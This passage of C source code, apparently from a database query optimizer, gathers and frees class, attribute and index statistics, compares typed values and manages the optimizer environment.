info->info[i].smclass = NULL;
info->info[i].stats = NULL;
info->info[i].self_allocated = 0;
OID_SET_NULL (&info->info[i].oid);
info->info[i].index = NULL;
}
info->n = n;
end = grok_classes (env, dom_set, &info->info[0]);
QO_ASSERT (env, end == &info->info[n]);
return info;
}
/*
* qo_free_class_info () - Free the vector and all interally-allocated
* structures
* return: nothing
* env(in): The current optimizer environment
* info(in): A pointer to a previously-allocated info vector
*/
static void
qo_free_class_info (QO_ENV * env, QO_CLASS_INFO * info)
{
int i;
if (info == NULL)
{
return;
}
/*
* The CLASS_STATS structures that are pointed to by the various
* members of info[] will be automatically freed by the garbage
* collector. Make sure that we null out our mop pointer so that the
* garbage collector doesn't mistakenly believe that the class object
* is still in use.
*/
for (i = 0; i < info->n; ++i)
{
qo_free_index (env, info->info[i].index);
info->info[i].name = NULL;
info->info[i].mop = NULL;
if (info->info[i].self_allocated)
{
free_and_init (info->info[i].stats);
}
info->info[i].smclass = NULL;
}
if (info)
{
free_and_init (info);
}
}
/*
* count_classes () - Count the number of object-based classes in the domain set
* return: int
* p(in):
*/
static int
count_classes (PT_NODE * p)
{
int n;
for (n = 0; p; p = p->next)
{
n++;
}
return n;
}
/*
* grok_classes () -
* return: QO_CLASS_INFO_ENTRY *
* env(in): The current optimizer environment
* p(in): The flat list of entity_specs
* info(in): The next info slot to be initialized
*
* Note: Populate the info array by traversing the given flat list.
* info is assumed to point to a vector of QO_CLASS_INFO_ENTRY
* structures that is long enough to accept entries for all
* remaining object-based classes. This should be the case if
* the length of the array was determined using count_classes()
* above.
*/
static QO_CLASS_INFO_ENTRY *
grok_classes (QO_ENV * env, PT_NODE * p, QO_CLASS_INFO_ENTRY * info)
{
HFID *hfid;
SM_CLASS *smclass;
int is_class = 0;
for (; p; p = p->next)
{
info->mop = p->info.name.db_object;
is_class = db_is_class (info->mop);
if (is_class < 0)
{
return NULL;
}
info->normal_class = is_class;
if (info->mop)
{
info->oid = *WS_OID (info->mop);
info->name = sm_get_ch_name (info->mop);
info->smclass = sm_get_class_with_statistics (info->mop);
}
else
{
PARSER_CONTEXT *parser = env->parser;
PT_INTERNAL_ERROR (parser, "info");
return info;
}
smclass = info->smclass;
if (smclass == NULL)
{
PARSER_CONTEXT *parser = env->parser;
PT_INTERNAL_ERROR (parser, "info");
return info;
}
if (smclass->stats == NULL)
{
info->stats = (CLASS_STATS *) malloc (sizeof (CLASS_STATS));
if (info->stats == NULL)
{
er_set (ER_ERROR_SEVERITY, ARG_FILE_LINE, ER_OUT_OF_VIRTUAL_MEMORY, 1, sizeof (CLASS_STATS));
return NULL;
}
info->self_allocated = 1;
info->stats->n_attrs = 0;
info->stats->attr_stats = NULL;
qo_estimate_statistics (info->mop, info->stats);
}
else if (smclass->stats->heap_num_pages == 0)
{
if (!info->normal_class || ((hfid = sm_get_ch_heap (info->mop)) && !HFID_IS_NULL (hfid)))
{
qo_estimate_statistics (info->mop, smclass->stats);
}
}
info++;
}
return info;
}
/*
* qo_get_attr_info_func_index () - Find the statistics information about
* the function index that underlies this segment
* return: QO_ATTR_INFO *
* env(in): The current optimizer environment
* seg(in): A (pointer to) a join graph segment
* expr_str(in):
*/
static QO_ATTR_INFO *
qo_get_attr_info_func_index (QO_ENV * env, QO_SEGMENT * seg, const char *expr_str)
{
QO_NODE *nodep;
QO_CLASS_INFO_ENTRY *class_info_entryp;
SM_CLASS_CONSTRAINT *consp;
QO_ATTR_INFO *attr_infop = NULL;
QO_ATTR_CUM_STATS *cum_statsp;
BTREE_STATS *bstatsp = NULL;
ATTR_STATS *attr_statsp = NULL;
int n, i, j;
int attr_id;
int n_attrs;
CLASS_STATS *stats;
nodep = QO_SEG_HEAD (seg);
if (QO_NODE_INFO (nodep) == NULL || !(QO_NODE_INFO (nodep)->info[0].normal_class))
{
/* if there's no class information or the class is not normal class */
return NULL;
}
/* number of class information entries */
n = QO_NODE_INFO_N (nodep);
QO_ASSERT (env, n > 0);
/* pointer to QO_CLASS_INFO_ENTRY[] array of the node */
class_info_entryp = &QO_NODE_INFO (nodep)->info[0];
/* allocate QO_ATTR_INFO within the current optimizer environment */
attr_infop = (QO_ATTR_INFO *) malloc (sizeof (QO_ATTR_INFO));
if (attr_infop == NULL)
{
er_set (ER_ERROR_SEVERITY, ARG_FILE_LINE, ER_OUT_OF_VIRTUAL_MEMORY, 1, sizeof (QO_ATTR_INFO));
return NULL;
}
cum_statsp = &attr_infop->cum_stats;
cum_statsp->type = pt_type_enum_to_db (QO_SEG_PT_NODE (seg)->type_enum);
cum_statsp->valid_limits = false;
cum_statsp->is_indexed = false;
cum_statsp->leafs = cum_statsp->pages = cum_statsp->height = 0;
cum_statsp->keys = 0;
cum_statsp->key_type = NULL;
cum_statsp->pkeys_size = 0;
cum_statsp->pkeys = NULL;
/* set the statistics from the class information(QO_CLASS_INFO_ENTRY) */
for (i = 0; i < n; class_info_entryp++, i++)
{
stats = QO_GET_CLASS_STATS (class_info_entryp);
QO_ASSERT (env, stats != NULL);
if (stats->attr_stats == NULL)
{
/* the attribute statistics of the class were not set */
continue;
/* We'll consider the segment to be indexed only if all of the attributes it represents are indexed. The
* current optimization strategy makes it inconvenient to try to construct "mixed" (segment and index) scans
* of a node that represents more than one node.
*/
}
for (consp = class_info_entryp->smclass->constraints; consp; consp = consp->next)
{
/* search the attribute from the class information */
attr_statsp = stats->attr_stats;
n_attrs = stats->n_attrs;
if (consp->index_status != SM_NORMAL_INDEX)
{
/* Skip not normal indexes. */
continue;
}
if (consp->func_index_info && consp->func_index_info->col_id == 0
&& !intl_identifier_casecmp (expr_str, consp->func_index_info->expr_str))
{
attr_id = consp->attributes[0]->id;
for (j = 0; j < n_attrs; j++, attr_statsp++)
{
if (attr_statsp->id == attr_id)
{
break;
}
}
if (j == n_attrs)
{
/* attribute not found, what happens to the class attribute? */
continue;
}
bstatsp = attr_statsp->bt_stats;
for (j = 0; j < attr_statsp->n_btstats; j++, bstatsp++)
{
if (BTID_IS_EQUAL (&bstatsp->btid, &consp->index_btid) && bstatsp->has_function == 1)
{
break;
}
}
if (cum_statsp->valid_limits == false)
{
/* first time */
cum_statsp->valid_limits = true;
}
/* This should always happen. We must find a matching index. */
assert (j < attr_statsp->n_btstats);
cum_statsp->is_indexed = true;
cum_statsp->leafs += bstatsp->leafs;
cum_statsp->pages += bstatsp->pages;
cum_statsp->height = MAX (cum_statsp->height, bstatsp->height);
if (cum_statsp->pkeys_size == 0 || /* the first found */
cum_statsp->keys < bstatsp->keys)
{
cum_statsp->keys = bstatsp->keys;
cum_statsp->key_type = bstatsp->key_type;
cum_statsp->pkeys_size = bstatsp->pkeys_size;
/* alloc pkeys[] within the current optimizer environment */
if (cum_statsp->pkeys)
{
free_and_init (cum_statsp->pkeys);
}
cum_statsp->pkeys = (int *) malloc (SIZEOF_ATTR_CUM_STATS_PKEYS (cum_statsp->pkeys_size));
if (cum_statsp->pkeys == NULL)
{
er_set (ER_ERROR_SEVERITY, ARG_FILE_LINE, ER_OUT_OF_VIRTUAL_MEMORY, 1,
SIZEOF_ATTR_CUM_STATS_PKEYS (cum_statsp->pkeys_size));
qo_free_attr_info (env, attr_infop);
return NULL;
}
assert (cum_statsp->pkeys_size <= BTREE_STATS_PKEYS_NUM);
for (i = 0; i < cum_statsp->pkeys_size; i++)
{
cum_statsp->pkeys[i] = bstatsp->pkeys[i];
}
}
}
}
}
return attr_infop;
}
/*
* qo_get_attr_info () - Find the ATTR_STATS information about each actual
* attribute that underlies this segment
* return: QO_ATTR_INFO *
* env(in): The current optimizer environment
* seg(in): A (pointer to) a join graph segment
*/
static QO_ATTR_INFO *
qo_get_attr_info (QO_ENV * env, QO_SEGMENT * seg)
{
QO_NODE *nodep;
QO_CLASS_INFO_ENTRY *class_info_entryp;
QO_ATTR_INFO *attr_infop;
int attr_id;
QO_ATTR_CUM_STATS *cum_statsp;
ATTR_STATS *attr_statsp;
BTREE_STATS *bt_statsp;
int n_attrs;
const char *name;
int n, i, j;
int n_func_indexes;
int n_unavail_indexes;
SM_CLASS_CONSTRAINT *consp;
CLASS_STATS *stats;
bool is_reserved_name = false;
if ((QO_SEG_PT_NODE (seg))->info.name.meta_class == PT_RESERVED)
{
is_reserved_name = true;
}
/* actual attribute name of the given segment */
name = QO_SEG_NAME (seg);
/* QO_NODE of the given segment */
nodep = QO_SEG_HEAD (seg);
if (QO_NODE_INFO (nodep) == NULL || !(QO_NODE_INFO (nodep)->info[0].normal_class))
{
/* if there's no class information or the class is not normal class */
return NULL;
}
/* number of class information entries */
n = QO_NODE_INFO_N (nodep);
QO_ASSERT (env, n > 0);
/* pointer to QO_CLASS_INFO_ENTRY[] array of the node */
class_info_entryp = &QO_NODE_INFO (nodep)->info[0];
/* allocate QO_ATTR_INFO within the current optimizer environment */
attr_infop = (QO_ATTR_INFO *) malloc (sizeof (QO_ATTR_INFO));
if (attr_infop == NULL)
{
er_set (ER_ERROR_SEVERITY, ARG_FILE_LINE, ER_OUT_OF_VIRTUAL_MEMORY, 1, sizeof (QO_ATTR_INFO));
return NULL;
}
/* initialize QO_ATTR_CUM_STATS structure of QO_ATTR_INFO */
cum_statsp = &attr_infop->cum_stats;
if (is_reserved_name)
{
cum_statsp->type = pt_Reserved_name_table[(QO_SEG_PT_NODE (seg))->info.name.reserved_id].type;
cum_statsp->valid_limits = false;
cum_statsp->is_indexed = true;
cum_statsp->leafs = cum_statsp->pages = cum_statsp->height = 0;
cum_statsp->keys = 0;
cum_statsp->key_type = NULL;
cum_statsp->pkeys_size = 0;
cum_statsp->pkeys = NULL;
return attr_infop;
}
/* not a reserved name */
cum_statsp->type = sm_att_type_id (class_info_entryp->mop, name);
cum_statsp->valid_limits = false;
cum_statsp->is_indexed = true;
cum_statsp->leafs = cum_statsp->pages = cum_statsp->height = 0;
cum_statsp->keys = 0;
cum_statsp->key_type = NULL;
cum_statsp->pkeys_size = 0;
cum_statsp->pkeys = NULL;
/* set the statistics from the class information(QO_CLASS_INFO_ENTRY) */
for (i = 0; i < n; class_info_entryp++, i++)
{
attr_id = sm_att_id (class_info_entryp->mop, name);
/* pointer to ATTR_STATS of CLASS_STATS of QO_CLASS_INFO_ENTRY */
stats = QO_GET_CLASS_STATS (class_info_entryp);
QO_ASSERT (env, stats != NULL);
if (stats->attr_stats == NULL)
{
/* the attribute statistics of the class were not set */
cum_statsp->is_indexed = false;
continue;
/* We'll consider the segment to be indexed only if all of the attributes it represents are indexed. The
* current optimization strategy makes it inconvenient to try to construct "mixed" (segment and index) scans
* of a node that represents more than one node.
*/
}
/* The stats vector isn't kept in id order because of the effects of schema updates (attribute deletion, most
* notably). We need to search it to find the stats record we're interested in. Worse, there doesn't even need to
* be an entry for this particular attribute in the vector. If we're dealing with a class that was created after
* the last statistics update, it won't have any information associated with it, or if we're dealing with certain
* kinds of attributes they simply won't be recorded. In these cases we just make the best guess we can.
*/
/* search the attribute from the class information */
attr_statsp = stats->attr_stats;
n_attrs = stats->n_attrs;
for (j = 0; j < n_attrs; j++, attr_statsp++)
{
if (attr_statsp->id == attr_id)
{
break;
}
}
if (j == n_attrs)
{
/* attribute not found, what happens to the class attribute? */
cum_statsp->is_indexed = false;
continue;
}
if (cum_statsp->valid_limits == false)
{
/* first time */
cum_statsp->type = attr_statsp->type;
cum_statsp->valid_limits = true;
}
n_func_indexes = 0;
n_unavail_indexes = 0;
for (j = 0; j < attr_statsp->n_btstats; j++)
{
if (attr_statsp->bt_stats[j].has_function == 1)
{
n_func_indexes++;
}
if (!sm_is_index_visible (class_info_entryp->smclass->constraints, attr_statsp->bt_stats->btid))
{
n_unavail_indexes++;
}
}
if ((attr_statsp->n_btstats - (n_func_indexes + n_unavail_indexes) <= 0) || (!attr_statsp->bt_stats))
{
/* the attribute does not have any usable index */
cum_statsp->is_indexed = false;
continue;
/* We'll consider the segment to be indexed only if all of the attributes it represents are indexed. The
* current optimization strategy makes it inconvenient to try to construct "mixed" (segment and index) scans
* of a node that represents more than one node.
*/
}
/* Because we cannot know which index will be selected for this attribute when there're more than one indexes on
* this attribute, use the statistics of the MIN keys index.
*/
bt_statsp = &attr_statsp->bt_stats[0];
for (j = 1; j < attr_statsp->n_btstats; j++)
{
if (bt_statsp->keys > attr_statsp->bt_stats[j].keys)
{
bt_statsp = &attr_statsp->bt_stats[j];
}
}
if (QO_NODE_ENTITY_SPEC (nodep)->info.spec.only_all == PT_ALL)
{
/* class hierarchy spec for example: select ... from all p */
/* check index uniqueness */
for (consp = sm_class_constraints (class_info_entryp->mop); consp; consp = consp->next)
{
if (SM_IS_CONSTRAINT_UNIQUE_FAMILY (consp->type) && BTID_IS_EQUAL (&bt_statsp->btid, &consp->index_btid))
{
break;
}
}
if (consp && consp->index_status == SM_NORMAL_INDEX) /* is unique index */
{
/* is class hierarchy index: set unique index statistics */
cum_statsp->leafs = bt_statsp->leafs;
cum_statsp->pages = bt_statsp->pages;
cum_statsp->height = bt_statsp->height;
cum_statsp->keys = bt_statsp->keys;
cum_statsp->key_type = bt_statsp->key_type;
cum_statsp->pkeys_size = bt_statsp->pkeys_size;
/* alloc pkeys[] within the current optimizer environment */
if (cum_statsp->pkeys != NULL)
{
free_and_init (cum_statsp->pkeys); /* free alloced */
}
cum_statsp->pkeys = (int *) malloc (SIZEOF_ATTR_CUM_STATS_PKEYS (cum_statsp->pkeys_size));
if (cum_statsp->pkeys == NULL)
{
er_set (ER_ERROR_SEVERITY, ARG_FILE_LINE, ER_OUT_OF_VIRTUAL_MEMORY, 1,
SIZEOF_ATTR_CUM_STATS_PKEYS (cum_statsp->pkeys_size));
qo_free_attr_info (env, attr_infop);
return NULL;
}
assert (cum_statsp->pkeys_size <= BTREE_STATS_PKEYS_NUM);
for (j = 0; j < cum_statsp->pkeys_size; j++)
{
cum_statsp->pkeys[j] = bt_statsp->pkeys[j];
}
/* immediately return the allocated QO_ATTR_INFO */
return attr_infop;
}
}
/* keep cumulative totals of index statistics */
cum_statsp->leafs += bt_statsp->leafs;
cum_statsp->pages += bt_statsp->pages;
/* Assume that the key distributions overlap here, so that the number of distinct keys in all of the attributes
* equal to the maximum number of distinct keys in any one of the attributes. This is probably not far from the
* truth; it is almost certainly a better guess than assuming that all key ranges are distinct.
*/
cum_statsp->height = MAX (cum_statsp->height, bt_statsp->height);
if (cum_statsp->pkeys_size == 0 || /* the first found */
cum_statsp->keys < bt_statsp->keys)
{
cum_statsp->keys = bt_statsp->keys;
cum_statsp->key_type = bt_statsp->key_type;
cum_statsp->pkeys_size = bt_statsp->pkeys_size;
/* alloc pkeys[] within the current optimizer environment */
if (cum_statsp->pkeys)
{
free_and_init (cum_statsp->pkeys);
}
cum_statsp->pkeys = (int *) malloc (SIZEOF_ATTR_CUM_STATS_PKEYS (cum_statsp->pkeys_size));
if (cum_statsp->pkeys == NULL)
{
er_set (ER_ERROR_SEVERITY, ARG_FILE_LINE, ER_OUT_OF_VIRTUAL_MEMORY, 1,
SIZEOF_ATTR_CUM_STATS_PKEYS (cum_statsp->pkeys_size));
qo_free_attr_info (env, attr_infop);
return NULL;
}
assert (cum_statsp->pkeys_size <= BTREE_STATS_PKEYS_NUM);
for (j = 0; j < cum_statsp->pkeys_size; j++)
{
cum_statsp->pkeys[j] = bt_statsp->pkeys[j];
}
}
} /* for (i = 0; i < n; ...) */
/* return the allocated QO_ATTR_INFO */
return attr_infop;
}
/*
* qo_free_attr_info () - Free the vector and any internally allocated
* structures
* return: nothing
* env(in): The current optimizer environment
* info(in): A pointer to a previously allocated info vector
*/
static void
qo_free_attr_info (QO_ENV * env, QO_ATTR_INFO * info)
{
QO_ATTR_CUM_STATS *cum_statsp;
if (info)
{
cum_statsp = &info->cum_stats;
if (cum_statsp->pkeys)
{
free_and_init (cum_statsp->pkeys);
}
free_and_init (info);
}
}
/*
* qo_get_index_info () - Get index statistical information
* return:
* env(in): The current optimizer environment
* node(in): A join graph node
*/
static void
qo_get_index_info (QO_ENV * env, QO_NODE * node)
{
QO_NODE_INDEX *node_indexp;
QO_NODE_INDEX_ENTRY *ni_entryp;
QO_INDEX_ENTRY *index_entryp;
QO_ATTR_CUM_STATS *cum_statsp;
QO_SEGMENT *segp;
QO_NODE *seg_node;
QO_CLASS_INFO_ENTRY *class_info_entryp = NULL;
const char *name;
int attr_id, n_attrs;
ATTR_STATS *attr_statsp;
BTREE_STATS *bt_statsp;
int i, j, k;
CLASS_STATS *stats;
/* pointer to QO_NODE_INDEX structure of QO_NODE */
node_indexp = QO_NODE_INDEXES (node);
/* for each index list(linked list of QO_INDEX_ENTRY) rooted at the node (all elements of QO_NODE_INDEX_ENTRY[]
* array) */
for (i = 0, ni_entryp = QO_NI_ENTRY (node_indexp, 0); i < QO_NI_N (node_indexp); i++, ni_entryp++)
{
cum_statsp = &(ni_entryp)->cum_stats;
cum_statsp->is_indexed = true;
/* The linked list of QO_INDEX_ENTRY was built by 'qo_find_node_index()' function. It is the list of compatible
* indexes under class hierarchy.
*/
/* for each index entry(QO_INDEX_ENTRY) on the list, acquire the statistics and cumulate them */
for (j = 0, index_entryp = (ni_entryp)->head; index_entryp != NULL; j++, index_entryp = index_entryp->next)
{
/* The index information is associated with the first attribute of index keys in the case of multi-column
* index and 'seg_idx[]' array of QO_INDEX_ENTRY structure was built by 'qo_find_index_seg_and_term()'
* function to keep the order of index key attributes. So, 'seg_idx[0]' is the right segment denoting the
* attribute that contains the index statistics that we want to get. If seg_idx[0] is null (-1), then the
* name of the first attribute is taken from index_entryp->statistics_attribute_name
*/
segp = NULL;
for (k = 0; k < index_entryp->nsegs; k++)
{
if (index_entryp->seg_idxs[k] != -1)
{
segp = QO_ENV_SEG (env, (index_entryp->seg_idxs[k]));
if (segp != NULL)
{
break;
}
}
}
if (segp == NULL)
{
index_entryp->key_type = NULL;
continue;
}
/* QO_NODE of the given segment */
seg_node = QO_SEG_HEAD (segp);
if (k == 0)
{
/* actual attribute name of the given segment */
name = QO_SEG_NAME (segp);
}
else
{
/* actual attribute name of the given segment */
name = index_entryp->statistics_attribute_name;
}
/* pointer to QO_CLASS_INFO_ENTRY[] array of the node */
class_info_entryp = &QO_NODE_INFO (seg_node)->info[j];
/* pointer to ATTR_STATS of CLASS_STATS of QO_CLASS_INFO_ENTRY */
stats = QO_GET_CLASS_STATS (class_info_entryp);
QO_ASSERT (env, stats != NULL);
/* search the attribute from the class information */
attr_statsp = stats->attr_stats;
n_attrs = stats->n_attrs;
if (!index_entryp->is_func_index)
{
attr_id = sm_att_id (class_info_entryp->mop, name);
}
else
{
/* function index with the function expression as the first attribute */
attr_id = index_entryp->constraints->attributes[0]->id;
}
for (k = 0; k < n_attrs; k++, attr_statsp++)
{
if (attr_statsp->id == attr_id)
{
break;
}
}
index_entryp->key_type = NULL;
if (k >= n_attrs) /* not found */
{
attr_statsp = NULL;
continue;
}
if (cum_statsp->valid_limits == false)
{
/* first time */
cum_statsp->type = attr_statsp->type;
cum_statsp->valid_limits = true;
}
/* find the index that we are interesting within BTREE_STATS[] array */
bt_statsp = attr_statsp->bt_stats;
for (k = 0; k < attr_statsp->n_btstats; k++, bt_statsp++)
{
if (BTID_IS_EQUAL (&bt_statsp->btid, &(index_entryp->constraints->index_btid)))
{
if (!index_entryp->is_func_index || bt_statsp->has_function == 1)
{
index_entryp->key_type = bt_statsp->key_type;
break;
}
}
} /* for (k = 0, ...) */
if (k == attr_statsp->n_btstats)
{
/* cannot find index in this attribute. what happens? */
continue;
}
if (QO_NODE_ENTITY_SPEC (node)->info.spec.only_all == PT_ALL)
{
/* class hierarchy spec for example: select ... from all p */
/* check index uniqueness */
if (SM_IS_CONSTRAINT_UNIQUE_FAMILY (index_entryp->constraints->type))
{
/* is class hierarchy index: set unique index statistics */
cum_statsp->leafs = bt_statsp->leafs;
cum_statsp->pages = bt_statsp->pages;
cum_statsp->height = bt_statsp->height;
cum_statsp->keys = bt_statsp->keys;
cum_statsp->key_type = bt_statsp->key_type;
cum_statsp->pkeys_size = bt_statsp->pkeys_size;
/* alloc pkeys[] within the current optimizer environment */
if (cum_statsp->pkeys)
{
free_and_init (cum_statsp->pkeys);
}
cum_statsp->pkeys = (int *) malloc (SIZEOF_ATTR_CUM_STATS_PKEYS (cum_statsp->pkeys_size));
if (cum_statsp->pkeys == NULL)
{
er_set (ER_ERROR_SEVERITY, ARG_FILE_LINE, ER_OUT_OF_VIRTUAL_MEMORY, 1,
SIZEOF_ATTR_CUM_STATS_PKEYS (cum_statsp->pkeys_size));
return; /* give up */
}
assert (cum_statsp->pkeys_size <= BTREE_STATS_PKEYS_NUM);
for (k = 0; k < cum_statsp->pkeys_size; k++)
{
cum_statsp->pkeys[k] = bt_statsp->pkeys[k];
}
/* immediately finish getting index statistics */
break; /* for (j = 0, ... ) */
}
}
/* keep cumulative totals of index statistics */
cum_statsp->leafs += bt_statsp->leafs;
cum_statsp->pages += bt_statsp->pages;
/* Assume that the key distributions overlap here, so that the number of distinct keys in all of the
* attributes equal to the maximum number of distinct keys in any one of the attributes. This is probably not
* far from the truth; it is almost certainly a better guess than assuming that all key ranges are distinct.
*/
cum_statsp->height = MAX (cum_statsp->height, bt_statsp->height);
if (cum_statsp->pkeys_size == 0 || /* the first found */
cum_statsp->keys < bt_statsp->keys)
{
cum_statsp->keys = bt_statsp->keys;
cum_statsp->key_type = bt_statsp->key_type;
cum_statsp->pkeys_size = bt_statsp->pkeys_size;
/* alloc pkeys[] within the current optimizer environment */
if (cum_statsp->pkeys)
{
free_and_init (cum_statsp->pkeys);
}
cum_statsp->pkeys = (int *) malloc (SIZEOF_ATTR_CUM_STATS_PKEYS (cum_statsp->pkeys_size));
if (cum_statsp->pkeys == NULL)
{
er_set (ER_ERROR_SEVERITY, ARG_FILE_LINE, ER_OUT_OF_VIRTUAL_MEMORY, 1,
SIZEOF_ATTR_CUM_STATS_PKEYS (cum_statsp->pkeys_size));
return; /* give up */
}
assert (cum_statsp->pkeys_size <= BTREE_STATS_PKEYS_NUM);
for (k = 0; k < cum_statsp->pkeys_size; k++)
{
cum_statsp->pkeys[k] = bt_statsp->pkeys[k];
}
}
} /* for (j = 0, ... ) */
} /* for (i = 0, ...) */
}
/*
* qo_free_node_index_info () - Free the vector and any internally allocated
* structures
* return: nothing
* env(in): The current optimizer environment
* node_indexp(in): A pointer to QO_NODE_INDEX structure of QO_NODE
*/
static void
qo_free_node_index_info (QO_ENV * env, QO_NODE_INDEX * node_indexp)
{
QO_NODE_INDEX_ENTRY *ni_entryp;
QO_ATTR_CUM_STATS *cum_statsp;
int i;
if (node_indexp)
{
/* for each index list(linked list of QO_INDEX_ENTRY) rooted at the node (all elements of QO_NODE_INDEX_ENTRY[]
* array) */
for (i = 0, ni_entryp = QO_NI_ENTRY (node_indexp, 0); i < QO_NI_N (node_indexp); i++, ni_entryp++)
{
cum_statsp = &(ni_entryp)->cum_stats;
if (cum_statsp->pkeys)
{
free_and_init (cum_statsp->pkeys);
}
}
free_and_init (node_indexp);
}
}
/*
* qo_data_compare () -
* return: 1, 0, -1
* data1(in):
* data2(in):
* type(in):
*
* Note: This is a simplified function that works with DB_DATA
* instead of DB_VALUE, which is the same function of 'qst_data_compare()'.
*/
static int
qo_data_compare (DB_DATA * data1, DB_DATA * data2, DB_TYPE type)
{
int result;
switch (type)
{
case DB_TYPE_INTEGER:
result = (data1->i < data2->i) ? -1 : ((data1->i > data2->i) ? 1 : 0);
break;
case DB_TYPE_SHORT:
result = ((data1->sh < data2->sh) ? -1 : ((data1->sh > data2->sh) ? 1 : 0));
break;
case DB_TYPE_BIGINT:
result = ((data1->bigint < data2->bigint) ? -1 : ((data1->bigint > data2->bigint) ? 1 : 0));
break;
case DB_TYPE_FLOAT:
result = (data1->f < data2->f) ? -1 : ((data1->f > data2->f) ? 1 : 0);
break;
case DB_TYPE_DOUBLE:
result = (data1->d < data2->d) ? -1 : ((data1->d > data2->d) ? 1 : 0);
break;
case DB_TYPE_DATE:
result = ((data1->date < data2->date) ? -1 : ((data1->date > data2->date) ? 1 : 0));
break;
case DB_TYPE_TIME:
result = ((data1->time < data2->time) ? -1 : ((data1->time > data2->time) ? 1 : 0));
break;
case DB_TYPE_TIMESTAMPLTZ:
case DB_TYPE_TIMESTAMP:
result = ((data1->utime < data2->utime) ? -1 : ((data1->utime > data2->utime) ? 1 : 0));
break;
case DB_TYPE_TIMESTAMPTZ:
result = ((data1->timestamptz.timestamp < data2->timestamptz.timestamp)
? -1 : ((data1->timestamptz.timestamp > data2->timestamptz.timestamp) ? 1 : 0));
break;
case DB_TYPE_DATETIMELTZ:
case DB_TYPE_DATETIME:
if (data1->datetime.date < data2->datetime.date)
{
result = -1;
}
else if (data1->datetime.date > data2->datetime.date)
{
result = 1;
}
else if (data1->datetime.time < data2->datetime.time)
{
result = -1;
}
else if (data1->datetime.time > data2->datetime.time)
{
result = 1;
}
else
{
result = 0;
}
break;
case DB_TYPE_DATETIMETZ:
if (data1->datetimetz.datetime.date < data2->datetimetz.datetime.date)
{
result = -1;
}
else if (data1->datetimetz.datetime.date > data2->datetimetz.datetime.date)
{
result = 1;
}
else if (data1->datetimetz.datetime.time < data2->datetimetz.datetime.time)
{
result = -1;
}
else if (data1->datetimetz.datetime.time > data2->datetimetz.datetime.time)
{
result = 1;
}
else
{
result = 0;
}
break;
case DB_TYPE_MONETARY:
result = ((data1->money.amount < data2->money.amount)
? -1 : ((data1->money.amount > data2->money.amount) ? 1 : 0));
break;
default:
/* not numeric type */
result = 0;
break;
}
return result;
}
/*
* qo_estimate_statistics () - Make a wild-ass guess at the appropriate
* statistics for this class. The statistics
* manager doesn't know anything about this class,
* so we're on our own.
* return: nothing
* class_mop(in): The mop of the class whose statistics need to be
fabricated
* statblock(in): The CLASS_STATS structure to be populated
*/
static void
qo_estimate_statistics (MOP class_mop, CLASS_STATS * statblock)
{
/*
* It would be nice if we could the get the actual number of pages
* allocated for the class; at least then we could make some sort of
* realistic guess at the upper bound of the number of objects (we
* can already figure out the "average" size of an object).
*
* Really, the statistics manager ought to be doing this on its own.
*/
statblock->heap_num_pages = NOMINAL_HEAP_SIZE (class_mop);
statblock->heap_num_objects = (statblock->heap_num_pages * DB_PAGESIZE) / NOMINAL_OBJECT_SIZE (class_mop);
}
/*
* qo_env_new () -
* return:
* parser(in):
* query(in):
*/
static QO_ENV *
qo_env_new (PARSER_CONTEXT * parser, PT_NODE * query)
{
QO_ENV *env;
PT_NODE *spec;
env = (QO_ENV *) malloc (sizeof (QO_ENV));
if (env == NULL)
{
er_set (ER_ERROR_SEVERITY, ARG_FILE_LINE, ER_OUT_OF_VIRTUAL_MEMORY, 1, sizeof (QO_ENV));
return NULL;
}
env->parser = parser;
env->pt_tree = query;
env->nsegs = 0;
env->nnodes = 0;
env->nedges = 0;
env->neqclasses = 0;
env->nterms = 0;
env->nsubqueries = 0;
env->npartitions = 0;
env->final_plan = NULL;
env->segs = NULL;
env->nodes = NULL;
env->eqclasses = NULL;
env->terms = NULL;
env->subqueries = NULL;
env->partitions = NULL;
bitset_init (&(env->final_segs), env);
env->tmp_bitset = NULL;
env->bail_out = 0;
env->planner = NULL;
env->dump_enable = prm_get_bool_value (PRM_ID_QO_DUMP);
bitset_init (&(env->fake_terms), env);
bitset_init (&QO_ENV_SORT_LIMIT_NODES (env), env);
db_make_null (&QO_ENV_LIMIT_VALUE (env));
assert (query->node_type == PT_SELECT);
if (PT_SELECT_INFO_IS_FLAGED (query, PT_SELECT_INFO_COLS_SCHEMA)
|| PT_SELECT_INFO_IS_FLAGED (query, PT_SELECT_FULL_INFO_COLS_SCHEMA) || query->flag.is_system_generated_stmt
|| ((spec = query->info.query.q.select.from) != NULL && spec->info.spec.derived_table_type == PT_IS_SHOWSTMT))
{
env->plan_dump_enabled = false;
}
else
{
env->plan_dump_enabled = true;
}
env->multi_range_opt_candidate = false;
return env;
}
#if 0
/*
* qo_malloc () - Try to allocate the requested number of bytes. If that
* fails, throw to some enclosing unwind-protect handler
* return: void *
* env(in): The optimizer environment from which the request is issued
* size(in): The number of bytes requested
* file(in): The file from which qo_malloc() was called
* line(in): The line number of from which qo_malloc() was called
*/
void *
qo_malloc (QO_ENV * env, unsigned size, const char *file, int line)
{
void *p;
p = malloc (size);
if (p == NULL)
{
longjmp (env->catch, 1);
}
return p;
}
#endif
/*
* qo_abort () -
* return:
* env(in):
* file(in):
* line(in):
*/
void
qo_abort (QO_ENV * env, const char *file, int line)
{
er_set (ER_WARNING_SEVERITY, file, line, ER_FAILED_ASSERTION, 1, "false");
longjmp (env->catch_, 2);
}
/*
* qo_env_free () -
* return:
* env(in):
*/
void
qo_env_free (QO_ENV * env)
{
if (env)
{
int i;
/*
* Be sure to use Nnodes, Nterms, and Nsegs as the loop limits in
* the code below, because those are the sizes of the allocated
* arrays; nnodes, nterms, and nsegs are the extents of those
* arrays that were actually used, but the entries past those
* extents need to be cleaned up too.
*/
if (env->segs)
{
for (i = 0; i < env->Nsegs; ++i)
{
qo_seg_free (QO_ENV_SEG (env, i));
}
free_and_init (env->segs);
}
if (env->nodes)
{
for (i = 0; i < env->Nnodes; ++i)
{
qo_node_free (QO_ENV_NODE (env, i));
}
free_and_init (env->nodes);
}
if (env->eqclasses)
{
for (i = 0; i < env->neqclasses; ++i)
{
qo_eqclass_free (QO_ENV_EQCLASS (env, i));
}
free_and_init (env->eqclasses);
}
if (env->terms)
{
for (i = 0; i < env->Nterms; ++i)
{
qo_term_free (QO_ENV_TERM (env, i));
}
free_and_init (env->terms);
}
if (env->partitions)
{
for (i = 0; i < env->npartitions; ++i)
{
qo_partition_free (QO_ENV_PARTITION (env, i));
}
free_and_init (env->partitions);
}
if (env->subqueries)
{
for (i = 0; i < env->nsubqueries; ++i)
{
